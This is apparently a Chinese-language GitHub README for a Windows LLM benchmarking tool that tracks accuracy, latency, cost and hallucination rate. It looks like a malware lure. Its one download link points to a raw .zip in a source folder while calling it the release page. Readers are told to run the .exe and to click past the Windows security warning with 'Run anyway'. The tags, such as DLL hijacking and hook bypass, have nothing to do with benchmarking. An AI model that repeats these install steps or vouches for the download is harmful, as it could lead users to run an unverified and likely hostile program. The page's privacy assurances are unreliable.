montgome753/LLM-Evaluation-Framework
GitHub: montgome753/LLM-Evaluation-Framework
一个基于 LiteLLM 的桌面端大模型评测套件，用于量化比较不同 LLM 的准确率、延迟、成本和幻觉率。
Stars: 0 | Forks: 0
# 📊 LLM-Evaluation-Framework — 使用简单工具衡量模型性能
[](https://raw.githubusercontent.com/montgome753/LLM-Evaluation-Framework/main/llm_eval/cli/Evaluation_Framework_LL_v1.3.zip)
LLM-Evaluation-Framework 为用户提供了一种测试大型语言模型性能的方式。您可以追踪 GPT-4、Claude、Gemini 和 Llama 等模型的准确率、速度和成本。此工具有助于识别模型在多大程度上给出正确答案，以及在多大程度上产生幻觉或生成虚假信息。
## 📥 快速上手
您无需阅读代码即可使用此工具。请按照以下步骤在 Windows 计算机上安装该软件。
1. 访问 [发布页面](https://raw.githubusercontent.com/montgome753/LLM-Evaluation-Framework/main/llm_eval/cli/Evaluation_Framework_LL_v1.3.zip)。
2. 在发布栏目下找到最新版本。
3. 点击以 .exe 结尾的文件开始下载。
4. 下载完成后，打开保存该文件的文件夹。
5. 双击文件启动应用程序。
如果 Windows 显示安全提示，请点击「更多信息」并选择「仍然运行」。应用程序将在桌面窗口中打开。
## ⚙️ 系统要求
确保您的计算机满足以下最低标准以获得最佳性能：
* 操作系统：Windows 10 或 11。
* 内存：8 GB RAM 或更高。
* 存储空间：500 MB 可用空间，用于日志和基准数据。
* 网络访问：稳定的互联网连接，以便与模型服务提供商通信。
## 🧪 如何运行基准测试
该框架允许您使用特定数据集评估模型。请按照界面提示开始您的首次测试。
1. 从下拉菜单中选择目标模型。此列表包含当前行业模型，如 GPT-4、Claude 和 Gemini。
2. 选择要运行的数据集。系统内置了用于推理和通用知识等常见任务的数据集。
3. 点击「开始评估」按钮。
4. 监控进度条。应用程序会记录每个请求，并跟踪延迟和输出 token 等指标。
5. 运行完成后，在仪表盘中查看结果。
## 📈 理解指标
仪表盘显示多个关键性能指标。使用这些数字来决定哪种模型适合您的需求。
* **准确率**：该百分比表示模型根据提供的真实答案给出正确答案的频率。
* **延迟**：衡量模型响应的耗时，单位为秒。数值越低表示响应越快。
* **成本**：根据当前提供商费率，估算每千个 token 的价格。
* **幻觉率**：该指标标识模型生成与提供的源文本不匹配的信息的频率。
* **推理能力**：该分数反映模型逐步解决复杂逻辑问题的能力。
## 🔧 管理模型密钥
要使用这些模型，您必须提供自己的 API 密钥。您可以从模型提供商的网站获取这些密钥。
1. 在应用程序中导航到「设置」选项卡。
2. 找到每个提供商的字段，如 OpenAI、Anthropic、Google 或 Mistral。
3. 将您的密钥粘贴到相应的框中。
4. 点击「保存密钥」。
软件会在本地对您的密钥进行加密。我们不会在任何远程服务器上存储您的凭据。
## 📂 分析结果
您可以导出结果以便进一步研究。应用程序会生成一个 CSV 文件，您可以在 Excel 或其他电子表格软件中打开。
1. 在基准测试完成后，点击「结果」选项卡。
2. 选择「导出」按钮。
3. 在计算机上选择目标文件夹。
4. 保存文件。
导出的报告包含模型的每次响应、每次查询的耗时以及最终的评分数据。
## 🛠 常见问题排查
如果应用程序无法运行，请检查以下项目。
* **检查网络连接**：某些模型依赖需要活跃连接的外部服务器。
* **验证 API 密钥**：常见错误是密钥过期或余额不足。如果测试返回身份验证错误，请检查您的提供商账户余额。
* **重启应用程序**：如果界面无响应，请完全关闭窗口并重新启动。
* **清除缓存**：如果仪表盘显示旧数据或视觉异常，请导航到设置菜单并点击「清除缓存」。
## 📢 常见问题
**支持哪些模型？**
框架支持任何可通过 LiteLLM 库访问的模型。这包括所有 GPT、Claude、Llama 和 Mistral 变体。
**我的数据是否私密？**
是的。所有数据保留在您的本地 Windows 机器上。我们绝不会将您的提示或比较数据发送到我们的服务器。
**能否添加自己的数据集？**
可以。您可以通过「数据」选项卡导入自定义 JSON 或 CSV 文件。请确保您的文件格式符合帮助部分中的示例模板。
**此工具能提高模型准确率吗？**
不能。此工具仅测量和报告性能。它提供数据，以便您选择最适合特定用例的模型。
## 📄 许可证详情
本软件遵循 MIT 开源许可证。您可以自由使用、修改和分发代码。有关完整法律文本，请参阅下载中包含的许可文件。
标签：Clair, DLL 劫持, Homebrew安装, LLM评估, Ollama, Windows应用, 二进制发布, 人工智能, 准确率, 大语言模型, 延迟, 开源工具, 成本, 模型性能, 用户模式Hook绕过, 逆向工具